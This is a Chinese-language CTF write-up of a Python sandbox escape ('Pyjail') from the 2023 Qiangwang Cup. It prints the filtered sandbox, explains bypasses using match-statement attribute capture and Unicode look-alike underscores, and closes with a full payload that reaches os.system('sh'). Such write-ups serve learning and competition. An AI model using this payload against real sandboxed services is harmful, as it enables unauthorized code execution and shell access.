CTF 小白，本着重在参与的精神想进队里摸鱼，浪费了一个下午，没想到真的打出了点输出，遂记录之。
题源：2023 强网杯 - Pyjail ! It's myAST !!!!
#!/bin/python3.11
import ast
BAD_ATS = {
ast.Attribute,
ast.Subscript,
ast.comprehension,
ast.Delete,
ast.Try,
ast.For,
ast.ExceptHandler,
ast.With,
ast.Import,
ast.ImportFrom,
ast.Assign,
ast.AnnAssign,
ast.Constant,
ast.ClassDef,
ast.AsyncFunctionDef,
}
BUILTINS = {
"bool": bool,
"set": set,
"tuple": tuple,
"round": round,
"map": map,
"len": len,
"bytes": bytes,
"dict": dict,
"str": str,
"all": all,
"range": range,
"enumerate": enumerate,
"int": int,
"zip": zip,
"filter": filter,
"list": list,
"max": max,
"float": float,
"divmod": divmod,
"unicode": str,
"min": min,
"range": range,
"sum": sum,
"abs": abs,
"sorted": sorted,
"repr": repr,
"object": object,
"isinstance": isinstance,
}
def is_safe(code):
if type(code) is str and "__" in code:
return False
for x in ast.walk(compile(code, "<QWB7th>", "exec", flags=ast.PyCF_ONLY_AST)):
if type(x) in BAD_ATS:
print(x)
return False
return True
if __name__ == "__main__":
user_input = input("Can u input your code to escape > ")
if is_safe(user_input) and len(user_input) < 1800:
exec(user_input, {"__builtins__": BUILTINS}, {})
分析
语法树级别的过滤 & 命名空间限制，目标是 getshell。
由于命名空间限制，获得能 getshell 的函数只能靠继承链，然而语法树又非常重量级地过滤了 Attribute 与 Subscript 操作，想利用继承链必须同时绕过这两个限制。
解法
Trick 1: Match
解此题的突破口在于远端 Python 的版本。自 3.10 起 Python 新增了模式匹配操作，其对应的树节点是 Match，正好不会被过滤。
利用模式匹配，我们可以捕捉一个实例任何的属性：
def get(d, key):
match d:
case dict(get=func):
return func
get(dict) == dict.get
使用这个 trick，就可以将 Attribute 与 Subscript 全部替换成 Match 操作，绕过过滤。
但还有一个问题。
继承链的利用少不了双下划线，然而这题却很鸡贼的也检测了双下划线。因此需要第二个 trick。
Trick 2: Unicode
Unicode 等价性（Unicode equivalence）是为和许多现存的标准能够兼容，Unicode（统一码）包含了许多特殊字符。在这些字符中，有些在功能上会和其它字符或字符序列等价。因此，Unicode 将一些码位序列定义成相等的。Wikipedia
当 Python 解释代码时，它会首先使用名为 NFKC 的规范化算法对 Unicode 进行等价，这种算法可以将一些视觉上相似的 Unicode 字符统一为一个标准形式。
import unicodedata
for i in range(0x000000, 0x10FFFF):
ch2 = chr(i)
if '_' == unicodedata.normalize('NFKC', ch2):
print(ch2)
上述脚本可以找到所有与下划线 _ 等价的 Unicode 字符，它们在解释器眼中是同一个字符：︳︴﹍﹎﹏＿
match str():
case (_﹍class﹍_=clazz):
...
于是可以绕过。
Payload
一个可用的 Payload
def s(b):
match bytes([b]):
case bytes(decode=func):
return func()
while o := len([min]):
while t := len([min, min]):
while th := len([min, min, min]):
while fo := len([min, min, min, min]):
while ten := len([min, min, min, min, min, min, min, min, min, min]):
match str():
case object(_﹍class﹍_=clazz):
match clazz:
case object(_﹍bases﹍_=bases):
match bases:
case object(_﹍getitem﹍_=gb):
match gb(len([])):
case object(_﹍subclasses﹍_=subclasses):
match subclasses():
case object(_﹍getitem﹍_=g2):
match g2(ten * ten + t*t):
case object(load_module=lm):
match lm(s(ten*(ten+o)+o)+s(ten*(ten+o)+fo+o)):
case object(system=sys):
sys(s(ten*(ten+o)+fo+o)+s(ten*ten+t*t))